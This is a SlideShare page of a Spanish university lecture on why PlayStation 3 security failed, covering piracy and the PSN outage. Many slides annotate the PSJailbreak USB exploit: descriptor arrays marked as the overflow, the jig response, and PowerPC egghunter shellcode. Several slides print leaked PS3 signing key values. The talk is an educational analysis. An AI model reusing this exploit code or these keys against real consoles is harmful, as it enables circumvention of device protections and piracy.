¿Qué falló en Playstation 3?Piratería, seguridad informática y el mercado de las videoconsolas<br />Marco Antonio Gómezy F...
El apagón de PlayStation Network<br />Suspensión total del servicio en el mundo20 de abril de 2011 – Actualidad<br />Más d...
Copiar o no copiar<br />Contenidos digitales: ¡llega la copia sin pérdida!<br />Sistemas anticopia<br />Hardware (libros d...
La caída de la PS3<br />erk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 ...
La caída de la PS3<br />erk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 ...
La caída de la PS3<br />erk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 ...
Arquitectura de la PS3<br />
Conocimientos técnicos necesarios<br />
Conocimientos previos<br />Buffer overflow<br />Protocolo USB<br />Arbitraje centralizado por el host<br />Tamaño de paque...
PSJailbreak (y clones)<br />Buffer overflow en lv2<br />Consigue ejecutar código a nivel del kernel<br />No W^X en lv2<br ...
PSJailbreak (y clones)<br />Resultado:<br />GameOS comprometido<br />LV1 no comprometido<br />SPE para seguridad no compro...
Fallo de seguridad<br />LV1 no se encarga de asegurar a LV2 la integridad del juego<br />Con acceso a LV2 podemos quitar l...
PSJailbreak<br />Análisis que sigue usando principalmente PSGroove<br />Dos fases<br />Conseguir acceso al SO<br />Cambiar...
PSJailbreak: accediendo a lv2<br />// Descriptor del dispositivo USB. Es el primero que<br />// se envía.<br />const uint8...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM HUB_Config_Descriptor[] = {<br />  // Config<br />  0x09, // Long...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM HUB_Hub_Descriptor[] = {<br />  0x09, // Longitud<br />  0x29, //...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port1_device_descriptor[] = {<br />  0x12, // Long del paquete (1...
PSJailbreak: accediendo a lv2<br />// Primera contestación de la configuración del port1. La utilizaremos<br />// cuando e...
PSJailbreak: accediendo a lv2<br />// Versión "larga" de la configuración, distinta de la corta<br />// para el exploit<br...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port2_device_descriptor[] = {<br />  0x12, 0x01, // Longitud y co...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port2_config_descriptor[] = {<br />  // config<br />  0x09, // Lo...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port3_device_descriptor[] = {<br />  0x12, 0x01, // Longitud y co...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port3_config_descriptor[] = {<br />  0x09, 0x02, 0x4d, 0x0a, 0x01...
PSJailbreak: accediendo a lv2<br />Desconexióndeldispositivo 2…<br />… y seguimos<br />
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_device_descriptor[] = {<br />  0x12, 0x01, // Longitud y co...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_config_descriptor_1[] = {<br />  // Config<br />  0x09, // ...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_short_config_descriptor_2[] = {<br />	// config<br />  0x09...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_config_descriptor_2[] = {<br />  // config<br />  0x09,  //...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_config_descriptor_3[] = {<br />  // config<br />	0x09, 0x02...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port5_device_descriptor[] = {<br />  0x12, 0x01, // Longitud y co...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port5_config_descriptor[] = {<br />	// config<br />	0x09, 0x02, 0...
PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM jig_response[64] = {<br />	SHELLCODE_PTR,<br />	SHELLCODE_ADDRESS...
PSJailbreak: accediendo a lv2<br />Y desenganchamos el dispositivo 3…<br />; shellcode / egghunter<br /> ROM:00000018     ...
PSJailbreak: cambiando el SO<br />Payload<br />Translación a zona de memoria segura<br />Copia de parte del payload a zona...
PSJailbreak: cambiando el SO<br />“Guerra” de payloads<br />Clones de PSJailbreak<br />Backup managers<br />Aplicaciones h...
Conclusiones<br />Con la clave privada puedes firmar cosas…<br />Homebrew sin payload<br />Actualizaciones<br />…<br />
Wanna dance?<br />Marco Antonio Gómez y Federico Peinado<br />www.gueim.org<br />
Upcoming SlideShare
Loading in …5
×

¿Que falló en Playstation 3?

897 views

Published on

Charla sobre piratería, seguridad informática y el mercado de las videoconsolas. Marco Antonio Gómez y Federico Peinado, profesores del Máster en Desarrollo de Videojuegos de la UCM hablan sobre lo ocurrido con Sony Playstation 3 en materia de violación de su seguridad.

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
897
On SlideShare
0
From Embeds
0
Number of Embeds
26
Actions
Shares
0
Downloads
4
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

¿Que falló en Playstation 3?

  1. 1. ¿Qué falló en Playstation 3?Piratería, seguridad informática y el mercado de las videoconsolas<br />Marco Antonio Gómezy Federico PeinadoMáster en Desarrollo de Videojuegos Universidad Complutense de Madridwww.videojuegos-ucm.es<br />www.gueim.org <br />
  2. 2.
  3. 3. El apagón de PlayStation Network<br />Suspensión total del servicio en el mundo20 de abril de 2011 – Actualidad<br />Más de 77 millones de usuarios<br />Afectando incluso a algunos juegos offline<br />Pérdidas de cientos de miles o incluso millones de dólares a empresas (Capcom) <br />Suspensión relacionada de plataforma PC 2 de mayo de 2011 – Actualidad <br />Sony Online Entertainment (MMOGs)<br />Más de 24 millones de usuarios(aunque casi sin afectar a tarjetas de crédito)<br />Motivo: Intrusiones externas Del 16 al 19 de abril de 2011 <br />Datos comprometidos de identificación personal, contraseñas y tarjetas de crédito<br />Continúa la investigación…<br />
  4. 4. Copiar o no copiar<br />Contenidos digitales: ¡llega la copia sin pérdida!<br />Sistemas anticopia<br />Hardware (libros de claves, cartuchos, “mochilas”, etc.)<br />Software (errores esperados, número de copias, SecuROM y otros DRMs, etc.)<br />Internet y la Web<br />Descargas masivas, difusión del homebrew, etc.<br />Activación remota, rootkits, contenido en la nube, etc.<br />
  5. 5. La caída de la PS3<br />erk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 1Briv: 47 EE 74 54 E4 77 4C C9 B8 96 0C 7B 59 F4 C1 4Dpub: C2 D4 AA F3 19 35 50 19 AF 99 D4 4E 2B 58 CA 29 25 2C 89 12 3D 11 D6 21 8F 40 B1 38 CA B2 9B 71 01 F3 AE B7 2A 97 50 19R: 80 6E 07 8F A1 52 97 90 CE 1A AE 02 BA DD 6F AA A6 AF 74 17n: E1 3A 7E BC 3A CC EB 1C B5 6C C8 60 FC AB DB 6A 04 8C 55 E1K: BA 90 55 91 68 61 B9 77 ED CB ED 92 00 50 92 F6 6C 7A 3D 8DDa: C5 B2 BF A1 A4 13 DD 16 F2 6D 31 C0 F2 ED 47 20 DC FB 06 70<br />Lanzamiento (Japón)11 de noviembre de 2006<br />Modelo “slim” sin Linux1 de septiembre de 2009<br />Exploit de GeoHot usando Linux26 de enero de 2010<br />Firmware 3.21: Todos sin Linux28 de marzo de 2010<br />PS JailBreak: 1er Cargador USB18 de agosto de 2010<br />EpicFail: Anuncio de carga sin USB y firmado de ejecutables29 de diciembre de 2010<br />GeoHot hace pública la clave raíz3 de enero de 2011<br />Y la historia continúa…<br />
  6. 6. La caída de la PS3<br />erk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 1Briv: 47 EE 74 54 E4 77 4C C9 B8 96 0C 7B 59 F4 C1 4Dpub: C2 D4 AA F3 19 35 50 19 AF 99 D4 4E 2B 58 CA 29 25 2C 89 12 3D 11 D6 21 8F 40 B1 38 CA B2 9B 71 01 F3 AE B7 2A 97 50 19R: 80 6E 07 8F A1 52 97 90 CE 1A AE 02 BA DD 6F AA A6 AF 74 17n: E1 3A 7E BC 3A CC EB 1C B5 6C C8 60 FC AB DB 6A 04 8C 55 E1K: BA 90 55 91 68 61 B9 77 ED CB ED 92 00 50 92 F6 6C 7A 3D 8DDa: C5 B2 BF A1 A4 13 DD 16 F2 6D 31 C0 F2 ED 47 20 DC FB 06 70<br />Lanzamiento (Japón)11 de noviembre de 2006<br />Modelo “slim” sin Linux1 de septiembre de 2009<br />Exploit de GeoHot usando Linux26 de enero de 2010<br />Firmware 3.21: Todos sin Linux28 de marzo de 2010<br />PS JailBreak: 1er Cargador USB18 de agosto de 2010<br />EpicFail: Anuncio de carga sin USB y firmado de ejecutables29 de diciembre de 2010<br />GeoHot hace pública la clave raíz3 de enero de 2011<br />Y la historia continúa…<br />La mayoría de las transparencias que siguen son directamente las de esta charla<br />
  7. 7.
  8. 8.
  9. 9.
  10. 10.
  11. 11.
  12. 12.
  13. 13.
  14. 14.
  15. 15.
  16. 16.
  17. 17. La caída de la PS3<br />erk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 1Briv: 47 EE 74 54 E4 77 4C C9 B8 96 0C 7B 59 F4 C1 4Dpub: C2 D4 AA F3 19 35 50 19 AF 99 D4 4E 2B 58 CA 29 25 2C 89 12 3D 11 D6 21 8F 40 B1 38 CA B2 9B 71 01 F3 AE B7 2A 97 50 19R: 80 6E 07 8F A1 52 97 90 CE 1A AE 02 BA DD 6F AA A6 AF 74 17n: E1 3A 7E BC 3A CC EB 1C B5 6C C8 60 FC AB DB 6A 04 8C 55 E1K: BA 90 55 91 68 61 B9 77 ED CB ED 92 00 50 92 F6 6C 7A 3D 8DDa: C5 B2 BF A1 A4 13 DD 16 F2 6D 31 C0 F2 ED 47 20 DC FB 06 70<br />Lanzamiento (Japón)11 de noviembre de 2006<br />Modelo “slim” sin Linux1 de septiembre de 2009<br />Exploit de GeoHot usando Linux26 de enero de 2010<br />Firmware 3.21: Todos sin Linux28 de marzo de 2010<br />PS JailBreak: 1er Cargador USB18 de agosto de 2010<br />EpicFail: Anuncio de carga sin USB y firmado de ejecutables29 de diciembre de 2010<br />GeoHot hace pública la clave raíz3 de enero de 2011<br />Y la historia continúa…<br />
  18. 18.
  19. 19.
  20. 20.
  21. 21.
  22. 22.
  23. 23.
  24. 24.
  25. 25.
  26. 26.
  27. 27.
  28. 28. Arquitectura de la PS3<br />
  29. 29.
  30. 30.
  31. 31.
  32. 32. Conocimientos técnicos necesarios<br />
  33. 33. Conocimientos previos<br />Buffer overflow<br />Protocolo USB<br />Arbitraje centralizado por el host<br />Tamaño de paquetes variable<br />Marcado por el host<br />Solicitado por el dispositivo<br />Configuraciones, interfaces y endpoints<br />
  34. 34. PSJailbreak (y clones)<br />Buffer overflow en lv2<br />Consigue ejecutar código a nivel del kernel<br />No W^X en lv2<br />HV da páginas ejecutables “con alegría”<br />
  35. 35. PSJailbreak (y clones)<br />Resultado:<br />GameOS comprometido<br />LV1 no comprometido<br />SPE para seguridad no comprometido<br />Pero tenemos piratería<br />Rompiendo el 20% del sistema de seguridad, tenemos el 100% de lo que Sony quería evitar<br />
  36. 36. Fallo de seguridad<br />LV1 no se encarga de asegurar a LV2 la integridad del juego<br />Con acceso a LV2 podemos quitar la protección<br />
  37. 37. PSJailbreak<br />Análisis que sigue usando principalmente PSGroove<br />Dos fases<br />Conseguir acceso al SO<br />Cambiar su comportamiento<br />
  38. 38. PSJailbreak: accediendo a lv2<br />// Descriptor del dispositivo USB. Es el primero que<br />// se envía.<br />const uint8_t PROGMEM HUB_Device_Descriptor[] = {<br /> 0x12, // Longitud del paquete (18 bytes)<br /> 0x01, // Identificador cte: "device descriptor"<br /> 0x00, 0x02, // Versión de usb soportada: 02.00 (BCD)<br /> 0x09, // Deviceclass (usb.org) -> HUB<br /> // http://www.usb.org/developers/defined_class/#BaseClass09h<br /> 0x00, // Devicesubclass (usb.org) <br /> 0x01, // Codigo protocolo (usb.org)/Hi-speedhubwith single TT<br /> 0x08, // Tam. máximo de paquete del zeroendpoint<br /> 0xAA, 0xAA, // Vendor id (supuestamente asignado por usb.org)<br /> 0xCC, 0xCC, // Product id (supuestamente asignado por usb.org)<br /> 0x00, 0x01, // Devicereleasenumber 01.00 (BCD)<br /> 0x00, // Index of ManufacturerString Descriptor<br /> 0x00, // Index of ProductString Descriptor<br /> 0x00, // Index of Serial NumberString Descriptor<br /> 0x01, // Number of PossibleConfigurations<br />};<br />
  39. 39. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM HUB_Config_Descriptor[] = {<br /> // Config<br /> 0x09, // Long de la parte de configuración<br /> 0x02, // Constante indicando lo que somos<br /> 0x19, 0x00 // Tamaño total de toda la info, incluyendo interfaz y endpoint<br /> 0x01, // Numero de interfaces<br /> 0x01, // id de esta configuracion<br /> 0x00, // indice a la cadena que la describe (no hay)<br /> 0xe0, // Atributos: selfpowered y wakeup<br /> 0x32, // Consumo máximo 0x32*2mA = 100mA<br /> // Interface<br /> 0x09, // long de la descr. del interfaz<br /> 0x04, // cte.<br /> 0x00, // número de interfaz<br /> 0x00, // valor para alternatesetting :?<br /> 0x01, // número de endpoints<br /> 0x09, 0x00, 0x00, // classcode, subclasscode, protocolcode<br /> // este es "Full speedHub"<br /> 0x00, // index of String Descriptor Describingthis interface<br /> // Endpoint (interrupt in) ID 1 (el id 0 es siempre de control)<br /> 0x07, // long<br /> 0x05, // cte. <br /> 0x81, // mapa bits: dirección "IN", id 1<br /> 0x03, // mapa bits: tipo de transmisión por interrupción<br /> 0x01, 0x00, // tammaximo del paquete que manejamos<br /> 0x0c, // intervalo de tiempo para polling en frame-time (125micro secs.)<br /> // => 1500microsecs.<br />};<br />
  40. 40. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM HUB_Hub_Descriptor[] = {<br /> 0x09, // Longitud<br /> 0x29, // Cte.<br /> 0x06, // Número de puertos del HUB: 6<br /> 0xa9, 0x00 // Flags. 10101001b:<br /> // D1,D0 (01) Indican el powerswitching de los dispostivos<br /> // que se conectan => Individual portpowerswitching.<br /> // D2 (0): Hubisnotpart of a compounddevice.<br /> // D4:D3 (01): Individual portover-currentprotection.<br /> // El hub controla problemas de corriente de cada puerto<br /> // de forma individual<br /> // D15:D5: reservados<br /> 0x05, // Tiempo (en 2ms intervals) que tarda la secuencia power-on de<br /> // un dispositivo conectado desde que éste tiene corriente.<br /> // Básicamante indica el retardo que sufre la corriente en llegar<br /> // al puerto/dispositivo conectado.<br /> 0x64, // Corriente máxima necesitada por el controlador del HUB.<br /> 0x00, // Flags, un bit por puerto posible: todos los puertos son<br /> // desenganchables (es decir, es un hub de verdad, no un hub en<br /> // un dispositivo integrado que tiene varios dispositivos "en uno")<br /> 0xff, // En usb 2.0 mantener a 0xFF este valor.<br />};<br />
  41. 41. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port1_device_descriptor[] = {<br /> 0x12, // Long del paquete (18)<br /> 0x01, // Constante (01 = device descriptor)<br /> 0x00, 0x02, // USB 2.0 compliant (BCD)<br /> 0x00, // Classcode. 0 indica que cada interfaz dará el suyo<br /> 0x00, 0x00, // Subclase y protocolo<br /> 0x08, // Max packetsize<br /> 0xAA, 0xAA, // Vendor ID<br /> 0x55, 0x55, // Product id<br /> 0x00, 0x00, // Devicereleasenumber<br /> 0x00, // Index of ManufacturerString Descriptor<br /> 0x00, // Index of ProductString Descriptor<br /> 0x00, // Index of Serial NumberString Descriptor<br /> PORT1_NUM_CONFIGS, // 4<br />};<br />
  42. 42. PSJailbreak: accediendo a lv2<br />// Primera contestación de la configuración del port1. La utilizaremos<br />// cuando en la petición sólo podemos contestar con 8 bytes<br />// y le diremos que necesitamos muchos más (las dos<br />// constantes). El host contestará tras pedir esa memoria y<br />// utilizaremos entonces port1_config_descriptor.<br />const uint8_t PROGMEM port1_short_config_descriptor[] = {<br /> // Config<br /> 0x09, // Longitud del paquete<br /> 0x02, // Constante 0x02: configurationdescription<br /> PORT1_DESC_LEN_LO, PORT1_DESC_LEN_HI, // Bytes totales devueltos<br /> // (o que necesitamos...) que incluyen el resto de información<br /> // (interfaces y endpoints)<br /> 0x01, // Número de interfaces<br /> 0x00, // id de esta configuración (¿no habría que cambiarla?)<br /> 0x00, // id cadena explicativa<br /> 0x80, // bitmap: notselfpowered, notremotewakeup<br /> 0xfa, // max consumo energia (* 2mA = 500mA)<br /> // Y aquí vendrían interface y endpoint<br />};<br />
  43. 43. PSJailbreak: accediendo a lv2<br />// Versión "larga" de la configuración, distinta de la corta<br />// para el exploit<br />const uint8_t PROGMEM port1_config_descriptor[] = {<br /> // Config<br /> 0x09, // Longitud del paquete<br /> 0x02, // Constante<br /> 0x12, 0x00, // Tamaño total que enviamos. ¡EXPLOIT!<br /> ...<br /> // Interfaz<br /> 0x09, // Longitu del paquete<br /> 0x04, // Cte. de protocolo<br /> 0x00, // Número de interfaz<br /> 0x00, // Alternatesetting...<br /> 0x00, // Endpoints disponibles: 0. No hay más info después<br /> 0xfe, 0x01, 0x02, // Clase - subclase - protocolo. Tiene que ver con<br /> // firmware updates, pero el 0x02 no tiene<br /> // sentido.<br /> 0x00, // String explicativa<br /> // TODO ESTO ES OVERFLOW QUE NOS GUARDARÁ LA PS3 PARA USAR LUEGO<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // padding<br /> MAGIC_NUMBER,<br />default_payload_macro,<br />};<br />
  44. 44. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port2_device_descriptor[] = {<br /> 0x12, 0x01, // Longitud y constante<br /> 0x00, 0x02, // USB 2.0<br /> 0x00, 0x00, 0x00, // Class, subclass, protocol<br /> 0x08, // maxpacketsize<br /> 0xAA, 0xAA, 0xBB, 0xBB, // Vendor y product id<br /> 0x00, 0x00, // Releasenumber<br /> 0x00, 0x00, 0x00, // Indices a 3 stringdescriptors<br /> 0x01, // Número de configuraciones<br />};<br />
  45. 45. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port2_config_descriptor[] = {<br /> // config<br /> 0x09, // Longitud de la configuración.<br /> 0x02, // Cte.<br /> 0x16, 0x00 // Longitud total, incluyendo interfaz etc. Se dice que<br /> // son 22 bytes, aunque la info real según el protocolo<br /> // son 18. Le metemos 4 más que harán un trabajo importante...<br /> 0x01, // Número interfaces<br /> 0x01, // id de la configuración<br /> 0x00, // stringindex<br /> 0x80, // notselfpowered, notremotewakeup<br /> 0x01, // maxpower 2mA.<br /> // interface<br /> 0x09, 0x04, // Long y cte.<br /> 0x00, // número de interfaz<br /> 0x00, // alternatesetting<br /> 0x00, // Número de endpoints<br /> 0xFE, 0x01, 0x02, // Classcode, subclass y protocolo.<br /> 0x00, // String descriptor.<br /> // extra<br /> 0x04, 0x21, 0xb4, 0x2f,<br />};<br />
  46. 46. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port3_device_descriptor[] = {<br /> 0x12, 0x01, // Longitud y constante<br /> 0x00, 0x02, // USB 2.0<br /> 0x00, 0x00, 0x00, // Class, subclass, protocol<br /> 0x08, // maxpacketsize<br /> 0xAA, 0xAA, 0x55, 0x55, // Vendor y product id<br /> 0x00, 0x00, // Releasenumber<br /> 0x00, 0x00, 0x00, // Indices a 3 stringdescriptors<br /> 0x02, // Número de configuraciones<br />};<br />
  47. 47. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port3_config_descriptor[] = {<br /> 0x09, 0x02, 0x4d, 0x0a, 0x01, 0x01, 0x00, 0x80, 0x01,<br /> 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,<br /> 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,<br /> … (más de 2Kb después…)<br /> 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,<br /> 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x00, 0xfe, 0x01, 0x02, 0x00,<br /> 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02,<br />};<br />
  48. 48. PSJailbreak: accediendo a lv2<br />Desconexióndeldispositivo 2…<br />… y seguimos<br />
  49. 49. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_device_descriptor[] = {<br /> 0x12, 0x01, // Longitud y constante<br /> 0x00, 0x02, // USB 2.0<br /> 0x00, 0x00, 0x00, // Class, subclass, protocol<br /> 0x08, // max packet size<br /> 0xAA, 0xAA, 0x55, 0x55, // Vendor y product id<br /> 0x00, 0x00, // Release number<br /> 0x00, 0x00, 0x00, // Indices a 3 string descriptors<br /> 0x03, // Número de configuraciones<br />};<br />
  50. 50. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_config_descriptor_1[] = {<br /> // Config<br /> 0x09, // Longituddelpaquete<br /> 0x02, // Constante<br /> 0x12, 0x00, // Tamaño total que enviamos.<br /> 0x01, // Número de interfaces<br /> 0x01, // id de estaconfiguración<br /> 0x00, // id de cadenaexplicativa...<br /> 0x80, // bitmap: not self powered, not remotewakeup<br /> 0x01, // Consumomáximo, 2mA<br /> // Interfaz<br /> 0x09, // Longitudelpaquete<br /> 0x04, // Cte. de protocolo<br /> 0x00, // Número de interfaz<br /> 0x00, // Alternate setting...<br /> 0x00, // Endpoints disponibles: 0. No haymás info después<br /> 0xfe, 0x01, 0x02, // Clase - subclase – protocolo<br /> 0x00, // String explicativa<br />};<br />
  51. 51. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_short_config_descriptor_2[] = {<br /> // config<br /> 0x09, // Long delpaquete<br /> 0x02, // Cte.<br /> 0x12, 0x00, // Tamaño total que enviamos; no entra, así que nos<br /> // pedirán la config otravezcuandotenganhueco.<br /> 0x01, // Número de interfaces<br /> 0x01, // id de esta config<br /> 0x00, // id la cadena<br /> 0x80, // not self powered, not remotewakeup<br /> // y se acabó; deberían venir más, peroenviamos solo 8.<br />};<br />
  52. 52. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_config_descriptor_2[] = {<br /> // config<br /> 0x09, // Long delpaquete<br /> 0x02, // Cte.<br /> 0x00, 0x00, // ¡EXPLOIT! ¡Ahora le decimos que no vamos a enviar<br /> // nada! (esto es el tamaño total que enviamos, según<br /> // debeinterpretarlo el protocolo USB.)<br /> 0x01, // Número de interfaces<br /> 0x01, // id de la configuracion<br /> 0x00, // id de la cadena<br /> 0x80, // Not self powered, not remotewakeup<br /> 0x01, // Consumomáximo, 2mA<br /> // interface<br /> 0x09, // Longitudelpaquete<br /> 0x04, // Ctedelprotocolo<br /> 0x00, // número de interfaz<br /> 0x00, // alternate setting<br /> 0x00, // endpoints disponibles (0, no viene nada luego)<br /> 0xfe, 0x01, 0x02, // Clase - subclase - protocolo (DFU)<br /> 0x00, // String explicativo<br />};<br />
  53. 53. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port4_config_descriptor_3[] = {<br /> // config<br /> 0x09, 0x02, 0x30, 0x00, 0x01, 0x01, 0x00, 0x80, 0x01, <br /> // interface<br /> 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, <br /> // extra<br /> 0x3e, 0x21, 0x00, 0x00, 0x00, 0x00, // padding<br /> MAGIC_NUMBER, /* magicnumber to look for in the start of the page */<br /> SHELLCODE_PAGE, /* Initial data searchptr */<br /> SHELLCODE_DESTINATION, /* destination ptr for heap structure (jigresponse) */<br />};<br />
  54. 54. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port5_device_descriptor[] = {<br /> 0x12, 0x01, // Longitud y constante<br /> 0x00, 0x02, // USB 2.0<br /> 0x00, 0x00, 0x00, // Class, subclass, protocol<br /> 0x08, // max packet size<br /> 0x4c, 0x05, // Vendor id: Sony Corp<br /> 0xeb, 0x02, // Product id: JIG. No publicado<br /> 0x00, 0x00, // Release number<br /> 0x00, 0x00, 0x00, // Indices a 3 string descriptors<br /> 0x01, // Número de configuraciones<br />};<br />
  55. 55. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM port5_config_descriptor[] = {<br /> // config<br /> 0x09, 0x02, 0x20, 0x00, 0x01, 0x00, 0x00, 0x80,<br /> 0x01,<br /> // interface<br /> 0x09, 0x04, 0x00, 0x00, 0x02, 0xff, 0x00, 0x00,<br /> 0x00,<br /> // endpoint<br /> 0x07, 0x05, 0x02, 0x02, 0x08, 0x00, 0x00,<br /> // endpoint<br /> 0x07, 0x05, 0x81, 0x02, 0x08, 0x00, 0x00,<br />}<br />
  56. 56. PSJailbreak: accediendo a lv2<br />const uint8_t PROGMEM jig_response[64] = {<br /> SHELLCODE_PTR,<br /> SHELLCODE_ADDRESS,<br /> RTOC_TABLE,<br />default_shellcode_macro,<br />};<br />
  57. 57. PSJailbreak: accediendo a lv2<br />Y desenganchamos el dispositivo 3…<br />; shellcode / egghunter<br /> ROM:00000018 ld %r4, -0x10(%r3)<br /> ROM:0000001C ld %r3, -8(%r3)<br /> ROM:00000020<br /> ROM:00000020 loc_20:<br /> ROM:00000020 ld %r5, 0x18(%r3)<br /> ROM:00000024 addi %r3, %r3, 0x1000<br /> ROM:00000028 cmpw %r4, %r5<br /> ROM:0000002C bne loc_20<br /> ROM:00000030 addi %r6, %r3, -0xFE0<br /> ROM:00000034 mtctr %r6<br /> ROM:00000038 bctr<br />
  58. 58. PSJailbreak: cambiando el SO<br />Payload<br />Translación a zona de memoria segura<br />Copia de parte del payload a zona residente<br />Instalación de un driver de USB: “prueba”, “inicialización”, “desconexión”.<br />Syscall 36<br />Hooks<br />Hook_open<br />
  59. 59. PSJailbreak: cambiando el SO<br />“Guerra” de payloads<br />Clones de PSJailbreak<br />Backup managers<br />Aplicaciones homebrew<br />…<br />
  60. 60.
  61. 61.
  62. 62.
  63. 63.
  64. 64.
  65. 65.
  66. 66.
  67. 67.
  68. 68.
  69. 69. Conclusiones<br />Con la clave privada puedes firmar cosas…<br />Homebrew sin payload<br />Actualizaciones<br />…<br />
  70. 70. Wanna dance?<br />Marco Antonio Gómez y Federico Peinado<br />www.gueim.org<br />

×